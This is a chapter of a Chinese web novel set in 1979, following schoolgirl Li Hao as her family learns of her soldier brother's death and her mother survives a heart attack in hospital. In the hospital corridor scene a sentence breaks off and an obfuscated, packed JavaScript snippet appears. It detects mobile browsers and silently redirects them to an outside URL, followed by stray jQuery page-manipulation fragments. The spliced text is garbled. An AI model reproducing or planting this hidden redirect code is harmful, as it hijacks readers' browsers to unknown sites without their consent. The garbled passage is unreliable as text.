一九七九年，暮春。


    春雨一场接着一场，缠绵又冷冽，打在窗棂上。窗外那棵老槐树，枯瘦的枝桠上总算冒出些星星点点的嫩绿，但在这灰蒙蒙的天色里，也显得格外单薄无力。


    在学校课间的时候，男生们三五成群地聚在一起，偶尔讨论起“南边”“打起来了”之类的话题时，李好听到了总会回避开。她不想听，也不敢听。


    放学铃响的时候，雨终于停了，但太阳已经西落了，光线变成了金红色，把整栋教学楼都染上了一层暖暖的颜色。


    李好把课本塞进书包，和周向东、沈敏一起走出校门。


    东山路两旁的桐树上的桐花开得正盛，一簇一簇的紫白色小花挂在枝头，风吹过来，有一股淡淡的说不清是甜还是涩的香气混在春天的空气里。


    “李好，明天周末，要不要去书店？”周向东问。


    “再说吧，我得问问我妈。”李好应了一声。


    二个人在十字路口分了手，李好一个人往家的方向走。


    李好刚走到家的胡同口，坐在自家门口石墩上抽烟的赵大爷便叫住她道：“李好呀！快回家看看，你家来人了。”


    赵大爷跟平时不太一样，李好说不上来哪里不对，就是觉得他看她的眼神怪怪的，带着一种让她不舒服的东西。


    她应了一声，加快脚步往家走。


    李好刚走进院子，就听见屋里有人在哭。


    李好站在屋门口，一时没反应过来。


    赵芳从屋里出来，眼眶通红，看见李好，嘴唇哆嗦了好几下，一个字也没说出来。


    李好还以为谁欺负赵芳了，她拉着赵芳问道：“嫂子怎么了？出什么事了？谁欺负你了？”


    赵芳没回答她的问题，只是抱住了李好。


    李好被抱得发懵，直到王婶从屋里走出来，抹着眼泪说了一句：“好丫头，你哥……没了。”


    李好站在那里，她脑子里第一个想法是不可能。


    她哥李建业，人长得结实，胳膊比她的小腿还粗，笑起来声音大得像打雷，前几年回家每次都把她举起来转圈，转得她头晕眼花，一边转一边喊：“我家好丫头又长高了！”


    而且去年的时候，她还和嫂子一起去探过亲，她哥怎么能说没就没了。


    “弄错了……肯定是弄错了。”李好怔怔地说道。


    姑嫂两个站在屋门口抱在一起，赵芳哭得撕心裂肺，李好却哭不出来。


    李好忽然想起了很多年前，他哥当兵走的那天，她抱着她哥的腿不让走，哭得撕心裂肺的，鼻涕眼泪糊了一脸，说：“哥你不要走，哥你走了谁给我扎辫子。”


    李建业蹲下来，把他的军帽戴在李好头上，帽子太大了，把李好整张脸都盖住了，李好把帽檐往上推了推，露出一双哭得通红的大眼睛，李建业笑了，说“哥是去当兵，又不是不回来了，哭什么。”


    李好抽抽噎噎的用手背擦着眼泪，说：“那你一定要回来。”


    李建业伸出手和她拉钩道：“一定。”


    李好现在只是觉得冷，从骨头缝里往外冒的冷，她抬头看了看天。太阳已经西落，但四月的天不算冷了，她却觉得整个人像被扔进了冰窖里。


    林秀芝是晚上才到家的。


    她今天加班，纺织厂赶一批货，她走不开。王婶去厂里找她的时候，她还在机台前站着，手上一手的机油。


    王婶后来跟李好说，她没敢在厂里说，是把林秀芝叫到外面才开的口。


    林秀芝到家的时候，院子里的灯已经亮了。昏黄的灯光照着她，她比早上出门的时候老了十岁。头发还是那头发，脸还是那张脸，但整个人塌下去了，像被什么东西从里面掏空了。


    李好站在门口，喊了一声“妈”。


    林秀芝看了她一眼，没说话。她走进屋，在方桌前坐下来，看见桌上那封电报，伸手拿起来看。


    她坐了很久。久到天色暗下来，久到王婶端了一碗面进来放在她面前，久到那碗面凉透了，她也没有动一口。


    那天晚上，林秀芝没有吃晚饭。赵芳哭累了，被李好扶到床上躺下了。


    李好不知道自己是怎么回屋的，也不知道是什么时候睡着的。


    第二天早上，李好被厨房里的声音吵醒了。跟每一天一样，早饭的香味从门缝里飘进来。


    她坐起来，穿上衣服，走到外屋。林秀芝正在厨房里忙活，她听见动静，探出头来看了李好一眼。


    林秀芝道：“起来了，去洗脸，吃饭了。”


    李好站在厨房门口，看着她妈。


    林秀芝转过身去继续忙活，背影跟平常一模一样，好像什么都没发生过，好像昨天发生的一切只是一场梦。


    “愣着干嘛？快去，一会儿粥凉了。”林秀芝头也没回的说道。


    李好张了张嘴，想说什么，但什么也没说出来。她去院子里接了水洗了脸，冰凉的水激在脸上，激得她打了个哆嗦。


    早饭吃得很安静，三个人坐在桌前，谁都没有说话。赵芳的眼睛肿得像桃子，低着头喝粥，一滴眼泪掉进了碗里，无声无息的。


    林秀芝照常吃了饭后，把碗收起来洗了。然后换了衣服，拿了包，推着自行车出门了，像每一天一样出门上班去了。


    四月中旬的下午，李好正在家里陪赵芳织毛衣，赵芳织，她缠毛线。


    这时，院子里忽然传来一阵急促的脚步声，紧接着门被人从外面猛地推开了。


    来人是刘淑芬，是林秀芝在纺织厂的工友。


    她脸色煞白，额头上的汗顺着鬓角往下淌，气喘得说不出话来，弯着腰，一只手撑着膝盖，一只手在胸口顺气。


    “刘姨？怎么了？”李好站起来。


    刘淑芬抬起头道：“你妈……你妈在车间……忽然就倒了……倒在地上怎么叫都不醒……”


    李好觉得脑子里“嗡”的一声，连忙问道：“送医院了没有？”


    刘淑芬：“送了送了，已经送医院了……”


    她转身进自己房间，拿出放在柜子里的钱盒子，李好出门前对赵芳说了一句：“嫂子你在家等我”，就跟着刘淑芬跑了出去。


    医院在城东，李好跑到的时候，腿已经软了。白色的走廊很长，日光灯管白得刺眼，空气里弥漫着消毒水的味道。


    李好站在急救室门口，盯着那扇紧闭的门。门上的红灯亮着。


    李好靠着墙站着，指甲掐进手背里，掐出一道一道的白印子。


    她不知道自己在那里站了多久。


    终于，手术室的门开了。


    一个穿白大褂的医生走出来，他摘下口罩道：“你是林秀芝的家属？”


    李好连忙走上前来道：“我是她女儿。”


    医生道：“病人急性心肌梗塞，送来得还算及时，抢救过来了，目前生命体征稳定。但是……”


    医生顿了一下，道：“但是病人情况还不稳定，需要住院观察。后续治疗不能断，你们家属要做好准备，而且要有人在旁边守着。”


    李好点了点头。


    走廊那头传来急促的脚步声，赵芳挺着大肚子，被王婶扶着，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537152|203849||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一步一步地走过来。


    赵芳道：“好好，妈怎么样了？”


    “抢救过来了。医生说要住院观察。”李好站起来，扶住赵芳的另一只胳膊。


    李好扶着她坐下。


    走廊尽头，窗外的天已经黑了。


    四月的夜晚还有凉意，风从窗户的缝隙里钻进来，吹得人身上一阵一阵地发冷。


    李好把外套脱下来，披在赵芳身上。


    傍晚，病房内林秀芝躺在床上，脸上戴着氧气面罩，手臂上扎着针，连着好几根管子。眼睛闭着，眉头微微蹙着，像是在做一个不好的梦。


    林秀芝醒过来的时候，已经是后半夜了。


    她感觉到手边有重量。


    她低下头，看见李好趴在她的床沿上，睡着了。


    藕粉色的衬衫在灯光下泛着柔软的光，袖子长出一小截，盖住了半只手，手指松松地蜷着。


    她的头发散了一半，碎发糊在脸上，睫毛微微颤动着，不知道在做什么梦。


    林秀芝看着李好的脸，看了很久。她的目光从李好的额头看到眉毛，从眉毛看到眼睛，从眼睛看到鼻子，从鼻子看到嘴巴。


    她慢慢地、慢慢地抬起手。手背上的留置针扯了一下，有点疼，她没有在意。


    她的手指轻轻地落在李好的头发上，动作很轻，轻得像怕惊醒什么。


    李好的睫毛颤了一下，像是有什么东西在她的梦里轻轻拂过。


    第二天，早上李好借护士站的电话给大院门口的小卖部打了一个。小卖部的张大爷接的电话，张大爷去喊了赵芳来接。


    李好说：“嫂子，今天早上，医生说妈没事了，住院观察几天，你别担心。你自己在家注意，有事就喊王婶，我晚上回去。”


    李好回到病房时，林秀芝醒了过来。


    “你吃饭了没有？”林秀芝问。


    李好的眼泪终于没忍住。


    她使劲咬着嘴唇，把眼泪往回咽，但眼泪还是掉下来了，一滴一滴地落在她妈的手背上。


    她用手背擦了一下脸，吸了一下鼻子，声音闷闷的，带着鼻音：“吃了，我吃过了，你别操心我。”


    林秀芝看了她一眼，道：“别说谎，骗妈。”


    晚上，医院走廊的灯已经亮了，李好推开病房的门，林秀芝醒着，眼睛看着门的方向。


    “拿这么多东西干嘛，我又不住一辈子。”林秀芝说道。


    李好道：“万一都用得到嘛。”


    李好把东西放下，她把搪瓷缸子拿出来，去热水房倒了热水，放在床头柜上。


    她把红枣拿出来，用开水泡了一杯，放在林秀芝够得到的地方。她忙前忙后的，像一只不知疲倦的、嗡嗡嗡的小蜜蜂。


    林秀芝靠在床头，看着她叫了一声：“好好。”


    李好“嗯？”了一声。


    林秀芝道：“过来。”


    李好走过去，在床沿上坐下。


    林秀芝伸出手，把李好垂下来的一缕碎发别到耳后。


    她的手指有点凉，指腹上还有常年干活留下的茧子，粗糙的，刮过李好的耳廓。


    林秀芝道：“妈会没事的。过几天就能出院了，回家养养就好了。”


    李好咬着嘴唇，摇了摇头又点了点道：“妈，你先好好休息，别想别的事儿。”


    又过了两天。


    林秀芝的精神果然好了些，能坐起来自己喝水了，脸上的氧气面罩也摘了，只剩下手臂上的留置针还扎着。


    医生说，这种情况再观察几天就可以出院了。